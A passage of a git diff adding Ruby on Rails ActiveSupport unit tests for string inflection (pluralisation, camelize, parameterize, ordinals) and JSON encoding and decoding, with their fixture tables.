+ assert_equal("LegacyAPI", ActiveSupport::Inflector.camelize("legacy_api"))
+ assert_equal("SomeLegacyApi", ActiveSupport::Inflector.camelize("some_legacyapi"))
+ assert_equal("Nonlegacyapi", ActiveSupport::Inflector.camelize("nonlegacyapi"))
+ end
+
+ def test_acronyms_camelize_lower
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.acronym("API")
+ inflect.acronym("HTML")
+ end
+
+ assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("html_api", false))
+ assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("htmlAPI", false))
+ assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("HTMLAPI", false))
+ end
+
+ def test_underscore_acronym_sequence
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.acronym("API")
+ inflect.acronym("JSON")
+ inflect.acronym("HTML")
+ end
+
+ assert_equal("json_html_api", ActiveSupport::Inflector.underscore("JSONHTMLAPI"))
+ end
+
+ def test_underscore
+ CamelToUnderscore.each do |camel, underscore|
+ assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
+ end
+ CamelToUnderscoreWithoutReverse.each do |camel, underscore|
+ assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
+ end
+ end
+
+ def test_camelize_with_module
+ CamelWithModuleToUnderscoreWithSlash.each do |camel, underscore|
+ assert_equal(camel, ActiveSupport::Inflector.camelize(underscore))
+ end
+ end
+
+ def test_underscore_with_slashes
+ CamelWithModuleToUnderscoreWithSlash.each do |camel, underscore|
+ assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
+ end
+ end
+
+ def test_demodulize
+ assert_equal "Account", ActiveSupport::Inflector.demodulize("MyApplication::Billing::Account")
+ assert_equal "Account", ActiveSupport::Inflector.demodulize("Account")
+ assert_equal "", ActiveSupport::Inflector.demodulize("")
+ end
+
+ def test_deconstantize
+ assert_equal "MyApplication::Billing", ActiveSupport::Inflector.deconstantize("MyApplication::Billing::Account")
+ assert_equal "::MyApplication::Billing", ActiveSupport::Inflector.deconstantize("::MyApplication::Billing::Account")
+
+ assert_equal "MyApplication", ActiveSupport::Inflector.deconstantize("MyApplication::Billing")
+ assert_equal "::MyApplication", ActiveSupport::Inflector.deconstantize("::MyApplication::Billing")
+
+ assert_equal "", ActiveSupport::Inflector.deconstantize("Account")
+ assert_equal "", ActiveSupport::Inflector.deconstantize("::Account")
+ assert_equal "", ActiveSupport::Inflector.deconstantize("")
+ end
+
+ def test_foreign_key
+ ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key|
+ assert_equal(foreign_key, ActiveSupport::Inflector.foreign_key(klass))
+ end
+
+ ClassNameToForeignKeyWithoutUnderscore.each do |klass, foreign_key|
+ assert_equal(foreign_key, ActiveSupport::Inflector.foreign_key(klass, false))
+ end
+ end
+
+ def test_tableize
+ ClassNameToTableName.each do |class_name, table_name|
+ assert_equal(table_name, ActiveSupport::Inflector.tableize(class_name))
+ end
+ end
+
+ def test_parameterize
+ StringToParameterized.each do |some_string, parameterized_string|
+ assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
+ end
+ end
+
+ def test_parameterize_and_normalize
+ StringToParameterizedAndNormalized.each do |some_string, parameterized_string|
+ assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
+ end
+ end
+
+ def test_parameterize_with_custom_separator
+ StringToParameterizeWithUnderscore.each do |some_string, parameterized_string|
+ assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, '_'))
+ end
+ end
+
+ def test_parameterize_with_multi_character_separator
+ StringToParameterized.each do |some_string, parameterized_string|
+ assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, '__sep__'))
+ end
+ end
+
+ def test_classify
+ ClassNameToTableName.each do |class_name, table_name|
+ assert_equal(class_name, ActiveSupport::Inflector.classify(table_name))
+ assert_equal(class_name, ActiveSupport::Inflector.classify("table_prefix." + table_name))
+ end
+ end
+
+ def test_classify_with_symbol
+ assert_nothing_raised do
+ assert_equal 'FooBar', ActiveSupport::Inflector.classify(:foo_bars)
+ end
+ end
+
+ def test_classify_with_leading_schema_name
+ assert_equal 'FooBar', ActiveSupport::Inflector.classify('schema.foo_bar')
+ end
+
+ def test_humanize
+ UnderscoreToHuman.each do |underscore, human|
+ assert_equal(human, ActiveSupport::Inflector.humanize(underscore))
+ end
+ end
+
+ def test_humanize_by_rule
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.human(/_cnt$/i, '\1_count')
+ inflect.human(/^prefx_/i, '\1')
+ end
+ assert_equal("Jargon count", ActiveSupport::Inflector.humanize("jargon_cnt"))
+ assert_equal("Request", ActiveSupport::Inflector.humanize("prefx_request"))
+ end
+
+ def test_humanize_by_string
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.human("col_rpted_bugs", "Reported bugs")
+ end
+ assert_equal("Reported bugs", ActiveSupport::Inflector.humanize("col_rpted_bugs"))
+ assert_equal("Col rpted bugs", ActiveSupport::Inflector.humanize("COL_rpted_bugs"))
+ end
+
+ def test_constantize
+ run_constantize_tests_on do |string|
+ ActiveSupport::Inflector.constantize(string)
+ end
+ end
+
+ def test_safe_constantize
+ run_safe_constantize_tests_on do |string|
+ ActiveSupport::Inflector.safe_constantize(string)
+ end
+ end
+
+ def test_ordinal
+ OrdinalNumbers.each do |number, ordinalized|
+ assert_equal(ordinalized, number + ActiveSupport::Inflector.ordinal(number))
+ end
+ end
+
+ def test_ordinalize
+ OrdinalNumbers.each do |number, ordinalized|
+ assert_equal(ordinalized, ActiveSupport::Inflector.ordinalize(number))
+ end
+ end
+
+ def test_dasherize
+ UnderscoresToDashes.each do |underscored, dasherized|
+ assert_equal(dasherized, ActiveSupport::Inflector.dasherize(underscored))
+ end
+ end
+
+ def test_underscore_as_reverse_of_dasherize
+ UnderscoresToDashes.each_key do |underscored|
+ assert_equal(underscored, ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.dasherize(underscored)))
+ end
+ end
+
+ def test_underscore_to_lower_camel
+ UnderscoreToLowerCamel.each do |underscored, lower_camel|
+ assert_equal(lower_camel, ActiveSupport::Inflector.camelize(underscored, false))
+ end
+ end
+
+ def test_symbol_to_lower_camel
+ SymbolToLowerCamel.each do |symbol, lower_camel|
+ assert_equal(lower_camel, ActiveSupport::Inflector.camelize(symbol, false))
+ end
+ end
+
+ %w{plurals singulars uncountables humans}.each do |inflection_type|
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def test_clear_#{inflection_type}
+ with_dup do
+ ActiveSupport::Inflector.inflections.clear :#{inflection_type}
+ assert ActiveSupport::Inflector.inflections.#{inflection_type}.empty?, \"#{inflection_type} inflections should be empty after clear :#{inflection_type}\"
+ end
+ end
+ RUBY
+ end
+
+ def test_inflector_locality
+ ActiveSupport::Inflector.inflections(:es) do |inflect|
+ inflect.plural(/$/, 's')
+ inflect.plural(/z$/i, 'ces')
+
+ inflect.singular(/s$/, '')
+ inflect.singular(/es$/, '')
+
+ inflect.irregular('el', 'los')
+ end
+
+ assert_equal('hijos', 'hijo'.pluralize(:es))
+ assert_equal('luces', 'luz'.pluralize(:es))
+ assert_equal('luzs', 'luz'.pluralize)
+
+ assert_equal('sociedad', 'sociedades'.singularize(:es))
+ assert_equal('sociedade', 'sociedades'.singularize)
+
+ assert_equal('los', 'el'.pluralize(:es))
+ assert_equal('els', 'el'.pluralize)
+
+ ActiveSupport::Inflector.inflections(:es) { |inflect| inflect.clear }
+
+ assert ActiveSupport::Inflector.inflections(:es).plurals.empty?
+ assert ActiveSupport::Inflector.inflections(:es).singulars.empty?
+ assert !ActiveSupport::Inflector.inflections.plurals.empty?
+ assert !ActiveSupport::Inflector.inflections.singulars.empty?
+ end
+
+ def test_clear_all
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ # ensure any data is present
+ inflect.plural(/(quiz)$/i, '\1zes')
+ inflect.singular(/(database)s$/i, '\1')
+ inflect.uncountable('series')
+ inflect.human("col_rpted_bugs", "Reported bugs")
+
+ inflect.clear :all
+
+ assert inflect.plurals.empty?
+ assert inflect.singulars.empty?
+ assert inflect.uncountables.empty?
+ assert inflect.humans.empty?
+ end
+ end
+ end
+
+ def test_clear_with_default
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ # ensure any data is present
+ inflect.plural(/(quiz)$/i, '\1zes')
+ inflect.singular(/(database)s$/i, '\1')
+ inflect.uncountable('series')
+ inflect.human("col_rpted_bugs", "Reported bugs")
+
+ inflect.clear
+
+ assert inflect.plurals.empty?
+ assert inflect.singulars.empty?
+ assert inflect.uncountables.empty?
+ assert inflect.humans.empty?
+ end
+ end
+ end
+
+ Irregularities.each do |irregularity|
+ singular, plural = *irregularity
+ ActiveSupport::Inflector.inflections do |inflect|
+ define_method("test_irregularity_between_#{singular}_and_#{plural}") do
+ inflect.irregular(singular, plural)
+ assert_equal singular, ActiveSupport::Inflector.singularize(plural)
+ assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
+ end
+ end
+ end
+
+ Irregularities.each do |irregularity|
+ singular, plural = *irregularity
+ ActiveSupport::Inflector.inflections do |inflect|
+ define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do
+ inflect.irregular(singular, plural)
+ assert_equal plural, ActiveSupport::Inflector.pluralize(plural)
+ end
+ end
+ end
+
+ Irregularities.each do |irregularity|
+ singular, plural = *irregularity
+ ActiveSupport::Inflector.inflections do |inflect|
+ define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
+ inflect.irregular(singular, plural)
+ assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+ end
+ end
+ end
+
+ [ :all, [] ].each do |scope|
+ ActiveSupport::Inflector.inflections do |inflect|
+ define_method("test_clear_inflections_with_#{scope.kind_of?(Array) ? "no_arguments" : scope}") do
+ # save all the inflections
+ singulars, plurals, uncountables = inflect.singulars, inflect.plurals, inflect.uncountables
+
+ # clear all the inflections
+ inflect.clear(*scope)
+
+ assert_equal [], inflect.singulars
+ assert_equal [], inflect.plurals
+ assert_equal [], inflect.uncountables
+
+ # restore all the inflections
+ singulars.reverse.each { |singular| inflect.singular(*singular) }
+ plurals.reverse.each { |plural| inflect.plural(*plural) }
+ inflect.uncountable(uncountables)
+
+ assert_equal singulars, inflect.singulars
+ assert_equal plurals, inflect.plurals
+ assert_equal uncountables, inflect.uncountables
+ end
+ end
+ end
+
+ %w(plurals singulars uncountables humans acronyms).each do |scope|
+ ActiveSupport::Inflector.inflections do |inflect|
+ define_method("test_clear_inflections_with_#{scope}") do
+ with_dup do
+ # clear the inflections
+ inflect.clear(scope)
+ assert_equal [], inflect.send(scope)
+ end
+ end
+ end
+ end
+
+ # Dups the singleton and yields, restoring the original inflections later.
+ # Use this in tests what modify the state of the singleton.
+ #
+ # This helper is implemented by setting @__instance__ because in some tests
+ # there are module functions that access ActiveSupport::Inflector.inflections,
+ # so we need to replace the singleton itself.
+ def with_dup
+ original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)
+ ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, original.dup)
+ ensure
+ ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, original)
+ end
+end
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
new file mode 100644
index 0000000..7704300
--- /dev/null
+++ b/activesupport/test/inflector_test_cases.rb
@@ -0,0 +1,315 @@
+# encoding: utf-8
+
+module InflectorTestCases
+ SingularToPlural = {
+ "search" => "searches",
+ "switch" => "switches",
+ "fix" => "fixes",
+ "box" => "boxes",
+ "process" => "processes",
+ "address" => "addresses",
+ "case" => "cases",
+ "stack" => "stacks",
+ "wish" => "wishes",
+ "fish" => "fish",
+ "jeans" => "jeans",
+ "funky jeans" => "funky jeans",
+ "my money" => "my money",
+
+ "category" => "categories",
+ "query" => "queries",
+ "ability" => "abilities",
+ "agency" => "agencies",
+ "movie" => "movies",
+
+ "archive" => "archives",
+
+ "index" => "indices",
+
+ "wife" => "wives",
+ "safe" => "saves",
+ "half" => "halves",
+
+ "move" => "moves",
+
+ "salesperson" => "salespeople",
+ "person" => "people",
+
+ "spokesman" => "spokesmen",
+ "man" => "men",
+ "woman" => "women",
+
+ "basis" => "bases",
+ "diagnosis" => "diagnoses",
+ "diagnosis_a" => "diagnosis_as",
+
+ "datum" => "data",
+ "medium" => "media",
+ "stadium" => "stadia",
+ "analysis" => "analyses",
+ "my_analysis" => "my_analyses",
+
+ "node_child" => "node_children",
+ "child" => "children",
+
+ "experience" => "experiences",
+ "day" => "days",
+
+ "comment" => "comments",
+ "foobar" => "foobars",
+ "newsletter" => "newsletters",
+
+ "old_news" => "old_news",
+ "news" => "news",
+
+ "series" => "series",
+ "species" => "species",
+
+ "quiz" => "quizzes",
+
+ "perspective" => "perspectives",
+
+ "ox" => "oxen",
+ "photo" => "photos",
+ "buffalo" => "buffaloes",
+ "tomato" => "tomatoes",
+ "dwarf" => "dwarves",
+ "elf" => "elves",
+ "information" => "information",
+ "equipment" => "equipment",
+ "bus" => "buses",
+ "status" => "statuses",
+ "status_code" => "status_codes",
+ "mouse" => "mice",
+
+ "louse" => "lice",
+ "house" => "houses",
+ "octopus" => "octopi",
+ "virus" => "viri",
+ "alias" => "aliases",
+ "portfolio" => "portfolios",
+
+ "vertex" => "vertices",
+ "matrix" => "matrices",
+ "matrix_fu" => "matrix_fus",
+
+ "axis" => "axes",
+ "taxi" => "taxis", # prevents regression
+ "testis" => "testes",
+ "crisis" => "crises",
+
+ "rice" => "rice",
+ "shoe" => "shoes",
+
+ "horse" => "horses",
+ "prize" => "prizes",
+ "edge" => "edges",
+
+ "cow" => "kine",
+ "database" => "databases",
+
+ # regression tests against improper inflection regexes
+ "|ice" => "|ices",
+ "|ouse" => "|ouses",
+ "slice" => "slices",
+ "police" => "police"
+ }
+
+ CamelToUnderscore = {
+ "Product" => "product",
+ "SpecialGuest" => "special_guest",
+ "ApplicationController" => "application_controller",
+ "Area51Controller" => "area51_controller"
+ }
+
+ UnderscoreToLowerCamel = {
+ "product" => "product",
+ "special_guest" => "specialGuest",
+ "application_controller" => "applicationController",
+ "area51_controller" => "area51Controller"
+ }
+
+ SymbolToLowerCamel = {
+ :product => 'product',
+ :special_guest => 'specialGuest',
+ :application_controller => 'applicationController',
+ :area51_controller => 'area51Controller'
+ }
+
+ CamelToUnderscoreWithoutReverse = {
+ "HTMLTidy" => "html_tidy",
+ "HTMLTidyGenerator" => "html_tidy_generator",
+ "FreeBSD" => "free_bsd",
+ "HTML" => "html",
+ }
+
+ CamelWithModuleToUnderscoreWithSlash = {
+ "Admin::Product" => "admin/product",
+ "Users::Commission::Department" => "users/commission/department",
+ "UsersSection::CommissionDepartment" => "users_section/commission_department",
+ }
+
+ ClassNameToForeignKeyWithUnderscore = {
+ "Person" => "person_id",
+ "MyApplication::Billing::Account" => "account_id"
+ }
+
+ ClassNameToForeignKeyWithoutUnderscore = {
+ "Person" => "personid",
+ "MyApplication::Billing::Account" => "accountid"
+ }
+
+ ClassNameToTableName = {
+ "PrimarySpokesman" => "primary_spokesmen",
+ "NodeChild" => "node_children"
+ }
+
+ StringToParameterized = {
+ "Donald E. Knuth" => "donald-e-knuth",
+ "Random text with *(bad)* characters" => "random-text-with-bad-characters",
+ "Allow_Under_Scores" => "allow_under_scores",
+ "Trailing bad characters!@#" => "trailing-bad-characters",
+ "!@#Leading bad characters" => "leading-bad-characters",
+ "Squeeze separators" => "squeeze-separators",
+ "Test with + sign" => "test-with-sign",
+ "Test with malformed utf8 \251" => "test-with-malformed-utf8"
+ }
+
+ StringToParameterizeWithNoSeparator = {
+ "Donald E. Knuth" => "donaldeknuth",
+ "With-some-dashes" => "with-some-dashes",
+ "Random text with *(bad)* characters" => "randomtextwithbadcharacters",
+ "Trailing bad characters!@#" => "trailingbadcharacters",
+ "!@#Leading bad characters" => "leadingbadcharacters",
+ "Squeeze separators" => "squeezeseparators",
+ "Test with + sign" => "testwithsign",
+ "Test with malformed utf8 \251" => "testwithmalformedutf8"
+ }
+
+ StringToParameterizeWithUnderscore = {
+ "Donald E. Knuth" => "donald_e_knuth",
+ "Random text with *(bad)* characters" => "random_text_with_bad_characters",
+ "With-some-dashes" => "with-some-dashes",
+ "Retain_underscore" => "retain_underscore",
+ "Trailing bad characters!@#" => "trailing_bad_characters",
+ "!@#Leading bad characters" => "leading_bad_characters",
+ "Squeeze separators" => "squeeze_separators",
+ "Test with + sign" => "test_with_sign",
+ "Test with malformed utf8 \251" => "test_with_malformed_utf8"
+ }
+
+ StringToParameterizedAndNormalized = {
+ "Malmö" => "malmo",
+ "Garçons" => "garcons",
+ "Ops\331" => "opsu",
+ "Ærøskøbing" => "aeroskobing",
+ "Aßlar" => "asslar",
+ "Japanese: 日本語" => "japanese"
+ }
+
+ UnderscoreToHuman = {
+ "employee_salary" => "Employee salary",
+ "employee_id" => "Employee",
+ "underground" => "Underground"
+ }
+
+ MixtureToTitleCase = {
+ 'active_record' => 'Active Record',
+ 'ActiveRecord' => 'Active Record',
+ 'action web service' => 'Action Web Service',
+ 'Action Web Service' => 'Action Web Service',
+ 'Action web service' => 'Action Web Service',
+ 'actionwebservice' => 'Actionwebservice',
+ 'Actionwebservice' => 'Actionwebservice',
+ "david's code" => "David's Code",
+ "David's code" => "David's Code",
+ "david's Code" => "David's Code",
+ "sgt. pepper's" => "Sgt. Pepper's",
+ "i've just seen a face" => "I've Just Seen A Face",
+ "maybe you'll be there" => "Maybe You'll Be There",
+ "¿por qué?" => '¿Por Qué?',
+ "Fred’s" => "Fred’s",
+ "Fred`s" => "Fred`s"
+ }
+
+ OrdinalNumbers = {
+ "-1" => "-1st",
+ "-2" => "-2nd",
+ "-3" => "-3rd",
+ "-4" => "-4th",
+ "-5" => "-5th",
+ "-6" => "-6th",
+ "-7" => "-7th",
+ "-8" => "-8th",
+ "-9" => "-9th",
+ "-10" => "-10th",
+ "-11" => "-11th",
+ "-12" => "-12th",
+ "-13" => "-13th",
+ "-14" => "-14th",
+ "-20" => "-20th",
+ "-21" => "-21st",
+ "-22" => "-22nd",
+ "-23" => "-23rd",
+ "-24" => "-24th",
+ "-100" => "-100th",
+ "-101" => "-101st",
+ "-102" => "-102nd",
+ "-103" => "-103rd",
+ "-104" => "-104th",
+ "-110" => "-110th",
+ "-111" => "-111th",
+ "-112" => "-112th",
+ "-113" => "-113th",
+ "-1000" => "-1000th",
+ "-1001" => "-1001st",
+ "0" => "0th",
+ "1" => "1st",
+ "2" => "2nd",
+ "3" => "3rd",
+ "4" => "4th",
+ "5" => "5th",
+ "6" => "6th",
+ "7" => "7th",
+ "8" => "8th",
+ "9" => "9th",
+ "10" => "10th",
+ "11" => "11th",
+ "12" => "12th",
+ "13" => "13th",
+ "14" => "14th",
+ "20" => "20th",
+ "21" => "21st",
+ "22" => "22nd",
+ "23" => "23rd",
+ "24" => "24th",
+ "100" => "100th",
+ "101" => "101st",
+ "102" => "102nd",
+ "103" => "103rd",
+ "104" => "104th",
+ "110" => "110th",
+ "111" => "111th",
+ "112" => "112th",
+ "113" => "113th",
+ "1000" => "1000th",
+ "1001" => "1001st"
+ }
+
+ UnderscoresToDashes = {
+ "street" => "street",
+ "street_address" => "street-address",
+ "person_street_address" => "person-street-address"
+ }
+
+ Irregularities = {
+ 'person' => 'people',
+ 'man' => 'men',
+ 'child' => 'children',
+ 'sex' => 'sexes',
+ 'move' => 'moves',
+ 'cow' => 'kine',
+ 'zombie' => 'zombies',
+ 'genus' => 'genera'
+ }
+end
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
new file mode 100644
index 0000000..d145490
--- /dev/null
+++ b/activesupport/test/json/decoding_test.rb
@@ -0,0 +1,87 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'active_support/json'
+require 'active_support/time'
+
+class TestJSONDecoding < ActiveSupport::TestCase
+ TESTS = {
+ %q({"returnTo":{"\/categories":"\/"}}) => {"returnTo" => {"/categories" => "/"}},
+ %q({"return\\"To\\":":{"\/categories":"\/"}}) => {"return\"To\":" => {"/categories" => "/"}},
+ %q({"returnTo":{"\/categories":1}}) => {"returnTo" => {"/categories" => 1}},
+ %({"returnTo":[1,"a"]}) => {"returnTo" => [1, "a"]},
+ %({"returnTo":[1,"\\"a\\",", "b"]}) => {"returnTo" => [1, "\"a\",", "b"]},
+ %({"a": "'", "b": "5,000"}) => {"a" => "'", "b" => "5,000"},
+ %({"a": "a's, b's and c's", "b": "5,000"}) => {"a" => "a's, b's and c's", "b" => "5,000"},
+ # multibyte
+ %({"matzue": "松江", "asakusa": "浅草"}) => {"matzue" => "松江", "asakusa" => "浅草"},
+ %({"a": "2007-01-01"}) => {'a' => Date.new(2007, 1, 1)},
+ %({"a": "2007-01-01 01:12:34 Z"}) => {'a' => Time.utc(2007, 1, 1, 1, 12, 34)},
+ %(["2007-01-01 01:12:34 Z"]) => [Time.utc(2007, 1, 1, 1, 12, 34)],
+ %(["2007-01-01 01:12:34 Z", "2007-01-01 01:12:35 Z"]) => [Time.utc(2007, 1, 1, 1, 12, 34), Time.utc(2007, 1, 1, 1, 12, 35)],
+ # no time zone
+ %({"a": "2007-01-01 01:12:34"}) => {'a' => "2007-01-01 01:12:34"},
+ # invalid date
+ %({"a": "1089-10-40"}) => {'a' => "1089-10-40"},
+ # xmlschema date notation
+ %({"a": "2009-08-10T19:01:02Z"}) => {'a' => Time.utc(2009, 8, 10, 19, 1, 2)},
+ %({"a": "2009-08-10T19:01:02+02:00"}) => {'a' => Time.utc(2009, 8, 10, 17, 1, 2)},
+ %({"a": "2009-08-10T19:01:02-05:00"}) => {'a' => Time.utc(2009, 8, 11, 00, 1, 2)},
+ # needs to be *exact*
+ %({"a": " 2007-01-01 01:12:34 Z "}) => {'a' => " 2007-01-01 01:12:34 Z "},
+ %({"a": "2007-01-01 : it's your birthday"}) => {'a' => "2007-01-01 : it's your birthday"},
+ %([]) => [],
+ %({}) => {},
+ %({"a":1}) => {"a" => 1},
+ %({"a": ""}) => {"a" => ""},
+ %({"a":"\\""}) => {"a" => "\""},
+ %({"a": null}) => {"a" => nil},
+ %({"a": true}) => {"a" => true},
+ %({"a": false}) => {"a" => false},
+ %q({"bad":"\\\\","trailing":""}) => {"bad" => "\\", "trailing" => ""},
+ %q({"a": "http:\/\/test.host\/posts\/1"}) => {"a" => "http://test.host/posts/1"},
+ %q({"a": "\u003cunicode\u0020escape\u003e"}) => {"a" => "<unicode escape>"},
+ %q({"a": "\\\\u0020skip double backslashes"}) => {"a" => "\\u0020skip double backslashes"},
+ %q({"a": "\u003cbr /\u003e"}) => {'a' => "<br />"},
+ %q({"b":["\u003ci\u003e","\u003cb\u003e","\u003cu\u003e"]}) => {'b' => ["<i>","<b>","<u>"]},
+ # test combination of dates and escaped or unicode encoded data in arrays
+ %q([{"d":"1970-01-01", "s":"\u0020escape"},{"d":"1970-01-01", "s":"\u0020escape"}]) =>
+ [{'d' => Date.new(1970, 1, 1), 's' => ' escape'},{'d' => Date.new(1970, 1, 1), 's' => ' escape'}],
+ %q([{"d":"1970-01-01","s":"http:\/\/example.com"},{"d":"1970-01-01","s":"http:\/\/example.com"}]) =>
+ [{'d' => Date.new(1970, 1, 1), 's' => 'http://example.com'},
+ {'d' => Date.new(1970, 1, 1), 's' => 'http://example.com'}],
+ # tests escaping of "\n" char with Yaml backend
+ %q({"a":"\n"}) => {"a"=>"\n"},
+ %q({"a":"\u000a"}) => {"a"=>"\n"},
+ %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"}
+ }
+
+ backends = [:ok_json]
+ backends << :json_gem if defined?(::JSON)
+ backends << :yajl if defined?(::Yajl)
+
+ backends.each do |backend|
+ TESTS.each do |json, expected|
+ test "json decodes #{json} with the #{backend} backend" do
+ ActiveSupport.parse_json_times = true
+ silence_warnings do
+ ActiveSupport::JSON.with_backend backend do
+ assert_equal expected, ActiveSupport::JSON.decode(json)
+ end
+ end
+ end
+ end
+
+ test "json decodes time json with time parsing disabled with the #{backend} backend" do
+ ActiveSupport.parse_json_times = false
+ expected = {"a" => "2007-01-01 01:12:34 Z"}
+ ActiveSupport::JSON.with_backend backend do
+ assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
+ end
+ end
+ end
+
+ def test_failed_json_decoding
+ assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({: 1})) }
+ end
+end
+
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
new file mode 100644
index 0000000..12ce250
--- /dev/null
+++ b/activesupport/test/json/encoding_test.rb
@@ -0,0 +1,343 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'active_support/core_ext/string/inflections'
+require 'active_support/json'
+
+class TestJSONEncoding < ActiveSupport::TestCase
+ class Foo
+ def initialize(a, b)
+ @a, @b = a, b
+ end
+ end
+
+ class Hashlike
+ def to_hash
+ { :a => 1 }
+ end
+ end
+
+ class Custom
+ def as_json(options)
+ 'custom'
+ end
+ end
+
+ class CustomWithOptions
+ attr_accessor :foo, :bar
+
+ def as_json(options={})
+ options[:only] = %w(foo bar)
+ super(options)
+ end
+ end
+
+ TrueTests = [[ true, %(true) ]]
+ FalseTests = [[ false, %(false) ]]
+ NilTests = [[ nil, %(null) ]]
+ NumericTests = [[ 1, %(1) ],
+ [ 2.5, %(2.5) ],
+ [ 0.0/0.0, %(null) ],
+ [ 1.0/0.0, %(null) ],
+ [ -1.0/0.0, %(null) ],
+ [ BigDecimal('0.0')/BigDecimal('0.0'), %(null) ],
+ [ BigDecimal('2.5'), %("#{BigDecimal('2.5').to_s}") ]]
+
+ StringTests = [[ 'this is the <string>', %("this is the \\u003Cstring\\u003E")],
+ [ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
+ [ 'http://test.host/posts/1', %("http://test.host/posts/1")],
+ [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f",
+ %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000B\\f\\r\\u000E\\u000F\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001A\\u001B\\u001C\\u001D\\u001E\\u001F") ]]
+
+ ArrayTests = [[ ['a', 'b', 'c'], %([\"a\",\"b\",\"c\"]) ],
+ [ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
+
+ RangeTests = [[ 1..2, %("1..2")],
+ [ 1...2, %("1...2")],
+ [ 1.5..2.5, %("1.5..2.5")]]
+
+ SymbolTests = [[ :a, %("a") ],
+ [ :this, %("this") ],
+ [ :"a b", %("a b") ]]
+
+ ObjectTests = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
+ HashlikeTests = [[ Hashlike.new, %({\"a\":1}) ]]
+ CustomTests = [[ Custom.new, '"custom"' ]]
+
+ RegexpTests = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']]
+
+ DateTests = [[ Date.new(2005,2,1), %("2005/02/01") ]]
+ TimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]]
+ DateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]]
+
+ StandardDateTests = [[ Date.new(2005,2,1), %("2005-02-01") ]]
+ StandardTimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10Z") ]]
+ StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10+00:00") ]]
+ StandardStringTests = [[ 'this is the <string>', %("this is the <string>")]]
+
+ def sorted_json(json)
+ return json unless json =~ /^\{.*\}$/
+ '{' + json[1..-2].split(',').sort.join(',') + '}'
+ end
+
+ constants.grep(/Tests$/).each do |class_tests|
+ define_method("test_#{class_tests[0..-6].underscore}") do
+ begin
+ ActiveSupport.escape_html_entities_in_json = class_tests !~ /^Standard/
+ ActiveSupport.use_standard_json_time_format = class_tests =~ /^Standard/
+ self.class.const_get(class_tests).each do |pair|
+ assert_equal pair.last, sorted_json(ActiveSupport::JSON.encode(pair.first))
+ end
+ ensure
+ ActiveSupport.escape_html_entities_in_json = false
+ ActiveSupport.use_standard_json_time_format = false
+ end
+ end
+ end
+
+ def test_json_variable
+ assert_deprecated do
+ assert_equal ActiveSupport::JSON::Variable.new('foo'), 'foo'
+ assert_equal ActiveSupport::JSON::Variable.new('alert("foo")'), 'alert("foo")'
+ end
+ end
+
+ def test_hash_encoding
+ assert_equal %({\"a\":\"b\"}), ActiveSupport::JSON.encode(:a => :b)
+ assert_equal %({\"a\":1}), ActiveSupport::JSON.encode('a' => 1)
+ assert_equal %({\"a\":[1,2]}), ActiveSupport::JSON.encode('a' => [1,2])
+ assert_equal %({"1":2}), ActiveSupport::JSON.encode(1 => 2)
+
+ assert_equal %({\"a\":\"b\",\"c\":\"d\"}), sorted_json(ActiveSupport::JSON.encode(:a => :b, :c => :d))
+ end
+
+ def test_utf8_string_encoded_properly
+ result = ActiveSupport::JSON.encode('€2.99')
+ assert_equal '"€2.99"', result
+ assert_equal(Encoding::UTF_8, result.encoding)
+
+ result = ActiveSupport::JSON.encode('✎☺')
+ assert_equal '"✎☺"', result
+ assert_equal(Encoding::UTF_8, result.encoding)
+ end
+
+ def test_non_utf8_string_transcodes
